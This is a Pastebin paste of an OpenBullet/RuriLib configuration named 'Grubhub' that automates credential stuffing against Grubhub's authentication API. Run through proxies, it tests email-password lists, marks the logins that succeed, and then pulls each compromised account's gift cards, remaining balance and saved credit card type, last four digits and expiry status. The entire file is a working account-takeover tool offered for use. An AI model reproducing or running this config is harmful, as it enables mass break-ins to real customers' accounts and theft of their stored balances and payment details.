Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- {
- "$type": "RuriLib.Config, RuriLib",
- "settings": {
- "$type": "RuriLib.ConfigGeneralSettings, RuriLib",
- "configName": "Grubhub",
- "needsCaptchaService": false,
- "allowedCombo1": "MailPass",
- "allowedCombo2": "None",
- "suggestedBots": 1,
- "lastModified": "2018-10-17T07:46:13.3964035+01:00",
- "additionalInfo": "",
- "author": "Meowtit",
- "bbVersion": "2.0.2",
- "encrypted": false,
- "needsProxies": true,
- "onlySocks": false,
- "maxProxyUses": 0,
- "convertMailsToUsers": false,
- "field1MinLength": 0,
- "field1MaxLength": 100,
- "field1Lowercase": false,
- "field1Uppercase": false,
- "field1Digits": false,
- "field1Symbols": false,
- "field1Forbidden": "",
- "field2MinLength": 8,
- "field2MaxLength": 100,
- "field2Lowercase": false,
- "field2Uppercase": false,
- "field2Digits": false,
- "field2Symbols": false,
- "field2Forbidden": "",
- "customInputs": {
- "$type": "System.Collections.Generic.List`1[[System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib]], mscorlib",
- "$values": []
- },
- "forceHeadless": false,
- "alwaysOpen": false,
- "alwaysQuit": false
- },
- "blockList": {
- "$type": "System.Collections.Generic.List`1[[RuriLib.BlockBase, RuriLib]], mscorlib",
- "$values": [
- {
- "$type": "RuriLib.BlockRequestAdvanced, RuriLib",
- "url": "https://api-gtm.grubhub.com/auth",
- "postData": "{\"brand\":\"GRUBHUB\",\"client_id\":\"beta_UmWlpstzQSFmocLy3h1UieYcVST\",\"device_id\":1720095887,\"scope\":\"anonymous\"}",
- "method": "POST",
- "customHeaders": {
- "$type": "System.Collections.Generic.List`1[[System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib]], mscorlib",
- "$values": [
- {
- "Key": "Authorization",
- "Value": "Bearer"
- },
- {
- "Key": "Referer",
- "Value": "https://www.grubhub.com/"
- },
- {
- "Key": "Origin",
- "Value": "https://www.grubhub.com"
- },
- {
- "Key": "Host",
- "Value": "api-gtm.grubhub.com"
- }
- ]
- },
- "customCookies": {
- "$type": "System.Collections.Generic.List`1[[System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib]], mscorlib",
- "$values": []
- },
- "headerAccept": "*/*",
- "headerUserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36",
- "randomUserAgent": false,
- "headerContentType": "application/json;charset=UTF-8",
- "autoRedirect": true,
- "encodePost": true,
- "parseGetParams": true,
- "multipartData": false,
- "multipartBoundary": "",
- "blockLabel": "REQUEST"
- },
- {
- "$type": "RuriLib.BlockParse, RuriLib",
- "parseTarget": 2,
- "isCapture": false,
- "prefix": "",
- "suffix": "",
- "recursive": false,
- "targetCookieName": "",
- "targetHeaderName": "",
- "targetVariableName": "",
- "variableLString": "",
- "variableRString": "",
- "parseType": 0,
- "variableName": "access_token",
- "leftString": "access_token\":\"",
- "rightString": "\",",
- "cssSelector": "",
- "attributeName": "",
- "cssElementIndex": 0,
- "jsonField": "",
- "xPath": "",
- "xAttributeName": "",
- "regexString": "",
- "regexOutput": "",
- "blockLabel": "PARSE"
- },
- {
- "$type": "RuriLib.BlockRequestAdvanced, RuriLib",
- "url": "https://api-gtm.grubhub.com/auth",
- "postData": "{\"brand\":\"GRUBHUB\",\"client_id\":\"beta_UmWlpstzQSFmocLy3h1UieYcVST\",\"device_id\":1720095887,\"email\":\"<USER>\",\"password\":\"<PASS>\"}",
- "method": "POST",
- "customHeaders": {
- "$type": "System.Collections.Generic.List`1[[System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib]], mscorlib",
- "$values": [
- {
- "Key": "Referer",
- "Value": "https://www.grubhub.com/"
- },
- {
- "Key": "Authorization",
- "Value": "Bearer <access_token>"
- },
- {
- "Key": "Origin",
- "Value": "https://www.grubhub.com"
- },
- {
- "Key": "Host",
- "Value": "api-gtm.grubhub.com"
- }
- ]
- },
- "customCookies": {
- "$type": "System.Collections.Generic.List`1[[System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib]], mscorlib",
- "$values": []
- },
- "headerAccept": "*/*",
- "headerUserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36",
- "randomUserAgent": false,
- "headerContentType": "application/json;charset=UTF-8",
- "autoRedirect": true,
- "encodePost": true,
- "parseGetParams": true,
- "multipartData": false,
- "multipartBoundary": "",
- "blockLabel": "REQUEST"
- },
- {
- "$type": "RuriLib.BlockKeycheck, RuriLib",
- "banOn4XX": false,
- "banOnToCheck": true,
- "keyChains": {
- "$type": "System.Collections.Generic.List`1[[RuriLib.ResponseKeyChain, RuriLib]], mscorlib",
- "$values": [
- {
- "$type": "RuriLib.ResponseKeyChain, RuriLib",
- "keychainType": 1,
- "keychainMode": 0,
- "keys": {
- "$type": "System.Collections.Generic.List`1[[RuriLib.ResponseKey, RuriLib]], mscorlib",
- "$values": [
- {
- "$type": "RuriLib.ResponseKey, RuriLib",
- "keyField": 0,
- "keyType": 0,
- "keyString": "401",
- "notKey": false,
- "matchKey": false,
- "variableString": "",
- "condition": 4
- }
- ]
- }
- },
- {
- "$type": "RuriLib.ResponseKeyChain, RuriLib",
- "keychainType": 0,
- "keychainMode": 0,
- "keys": {
- "$type": "System.Collections.Generic.List`1[[RuriLib.ResponseKey, RuriLib]], mscorlib",
- "$values": [
- {
- "$type": "RuriLib.ResponseKey, RuriLib",
- "keyField": 5,
- "keyType": 0,
- "keyString": "credential\":{\"",
- "notKey": false,
- "matchKey": false,
- "variableString": "",
- "condition": 4
- }
- ]
- }
- }
- ]
- },
- "blockLabel": "KEY CHECK"
- },
- {
- "$type": "RuriLib.BlockParse, RuriLib",
- "parseTarget": 2,
- "isCapture": false,
- "prefix": "",
- "suffix": "",
- "recursive": false,
- "targetCookieName": "",
- "targetHeaderName": "",
- "targetVariableName": "",
- "variableLString": "",
- "variableRString": "",
- "parseType": 0,
- "variableName": "ud_id",
- "leftString": "ud_id\":\"",
- "rightString": "\",",
- "cssSelector": "",
- "attributeName": "",
- "cssElementIndex": 0,
- "jsonField": "",
- "xPath": "",
- "xAttributeName": "",
- "regexString": "",
- "regexOutput": "",
- "blockLabel": "PARSE"
- },
- {
- "$type": "RuriLib.BlockParse, RuriLib",
- "parseTarget": 2,
- "isCapture": false,
- "prefix": "",
- "suffix": "",
- "recursive": false,
- "targetCookieName": "",
- "targetHeaderName": "",
- "targetVariableName": "",
- "variableLString": "",
- "variableRString": "",
- "parseType": 0,
- "variableName": "access_token2",
- "leftString": "access_token\":\"",
- "rightString": "\",",
- "cssSelector": "",
- "attributeName": "",
- "cssElementIndex": 0,
- "jsonField": "",
- "xPath": "",
- "xAttributeName": "",
- "regexString": "",
- "regexOutput": "",
- "blockLabel": "PARSE"
- },
- {
- "$type": "RuriLib.BlockRequestAdvanced, RuriLib",
- "url": "https://api-gtm.grubhub.com/codes/vault/<ud_id>/giftcards",
- "postData": "",
- "method": "GET",
- "customHeaders": {
- "$type": "System.Collections.Generic.List`1[[System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib]], mscorlib",
- "$values": [
- {
- "Key": "Referer",
- "Value": "https://www.grubhub.com/account/giftcard"
- },
- {
- "Key": "Authorization",
- "Value": "Bearer <access_token2>"
- },
- {
- "Key": "Origin",
- "Value": "https://www.grubhub.com"
- },
- {
- "Key": "Host",
- "Value": "api-gtm.grubhub.com"
- }
- ]
- },
- "customCookies": {
- "$type": "System.Collections.Generic.List`1[[System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib]], mscorlib",
- "$values": []
- },
- "headerAccept": "application/json",
- "headerUserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36",
- "randomUserAgent": false,
- "headerContentType": "application/x-www-form-urlencoded",
- "autoRedirect": true,
- "encodePost": true,
- "parseGetParams": true,
- "multipartData": false,
- "multipartBoundary": "",
- "blockLabel": "REQUEST"
- },
- {
- "$type": "RuriLib.BlockParse, RuriLib",
- "parseTarget": 2,
- "isCapture": true,
- "prefix": "",
- "suffix": "",
- "recursive": false,
- "targetCookieName": "",
- "targetHeaderName": "",
- "targetVariableName": "",
- "variableLString": "",
- "variableRString": "",
- "parseType": 0,
- "variableName": "gift_cards",
- "leftString": "gift_cards\":[",
- "rightString": "],\"",
- "cssSelector": "",
- "attributeName": "",
- "cssElementIndex": 0,
- "jsonField": "",
- "xPath": "",
- "xAttributeName": "",
- "regexString": "",
- "regexOutput": "",
- "blockLabel": "PARSE gift_cards"
- },
- {
- "$type": "RuriLib.BlockParse, RuriLib",
- "parseTarget": 2,
- "isCapture": true,
- "prefix": "",
- "suffix": "",
- "recursive": false,
- "targetCookieName": "",
- "targetHeaderName": "",
- "targetVariableName": "",
- "variableLString": "",
- "variableRString": "",
- "parseType": 0,
- "variableName": "total_amount_remaining",
- "leftString": "total_amount_remaining\":",
- "rightString": "}",
- "cssSelector": "",
- "attributeName": "",
- "cssElementIndex": 0,
- "jsonField": "",
- "xPath": "",
- "xAttributeName": "",
- "regexString": "",
- "regexOutput": "",
- "blockLabel": "PARSE total_amount_remaining"
- },
- {
- "$type": "RuriLib.BlockRequestAdvanced, RuriLib",
- "url": "https://api-gtm.grubhub.com/payments/<ud_id>/credit_card",
- "postData": "",
- "method": "GET",
- "customHeaders": {
- "$type": "System.Collections.Generic.List`1[[System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib]], mscorlib",
- "$values": [
- {
- "Key": "Referer",
- "Value": "https://www.grubhub.com/account/payment"
- },
- {
- "Key": "Authorization",
- "Value": "Bearer <access_token2>"
- },
- {
- "Key": "Origin",
- "Value": "https://www.grubhub.com"
- },
- {
- "Key": "Host",
- "Value": "api-gtm.grubhub.com"
- }
- ]
- },
- "customCookies": {
- "$type": "System.Collections.Generic.List`1[[System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib]], mscorlib",
- "$values": []
- },
- "headerAccept": "application/json",
- "headerUserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36",
- "randomUserAgent": false,
- "headerContentType": "application/x-www-form-urlencoded",
- "autoRedirect": true,
- "encodePost": true,
- "parseGetParams": true,
- "multipartData": false,
- "multipartBoundary": "",
- "blockLabel": "REQUEST"
- },
- {
- "$type": "RuriLib.BlockParse, RuriLib",
- "parseTarget": 2,
- "isCapture": true,
- "prefix": "",
- "suffix": "",
- "recursive": true,
- "targetCookieName": "",
- "targetHeaderName": "",
- "targetVariableName": "",
- "variableLString": "",
- "variableRString": "",
- "parseType": 0,
- "variableName": "credit_card_type",
- "leftString": "credit_card_type\":\"",
- "rightString": "\",\"",
- "cssSelector": "",
- "attributeName": "",
- "cssElementIndex": 0,
- "jsonField": "",
- "xPath": "",
- "xAttributeName": "",
- "regexString": "",
- "regexOutput": "",
- "blockLabel": "PARSE credit_card_type"
- },
- {
- "$type": "RuriLib.BlockParse, RuriLib",
- "parseTarget": 2,
- "isCapture": true,
- "prefix": "",
- "suffix": "",
- "recursive": true,
- "targetCookieName": "",
- "targetHeaderName": "",
- "targetVariableName": "",
- "variableLString": "",
- "variableRString": "",
- "parseType": 0,
- "variableName": "credit_card_last4",
- "leftString": "credit_card_last4\":\"",
- "rightString": "\",\"",
- "cssSelector": "",
- "attributeName": "",
- "cssElementIndex": 0,
- "jsonField": "",
- "xPath": "",
- "xAttributeName": "",
- "regexString": "",
- "regexOutput": "",
- "blockLabel": "PARSE credit_card_last4"
- },
- {
- "$type": "RuriLib.BlockParse, RuriLib",
- "parseTarget": 2,
- "isCapture": true,
- "prefix": "",
- "suffix": "",
- "recursive": true,
- "targetCookieName": "",
- "targetHeaderName": "",
- "targetVariableName": "",
- "variableLString": "",
- "variableRString": "",
- "parseType": 0,
- "variableName": "expired",
- "leftString": "expired\":",
- "rightString": ",\"",
- "cssSelector": "",
- "attributeName": "",
- "cssElementIndex": 0,
- "jsonField": "",
- "xPath": "",
- "xAttributeName": "",
- "regexString": "",
- "regexOutput": "",
- "blockLabel": "PARSE expired"
- }
- ]
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement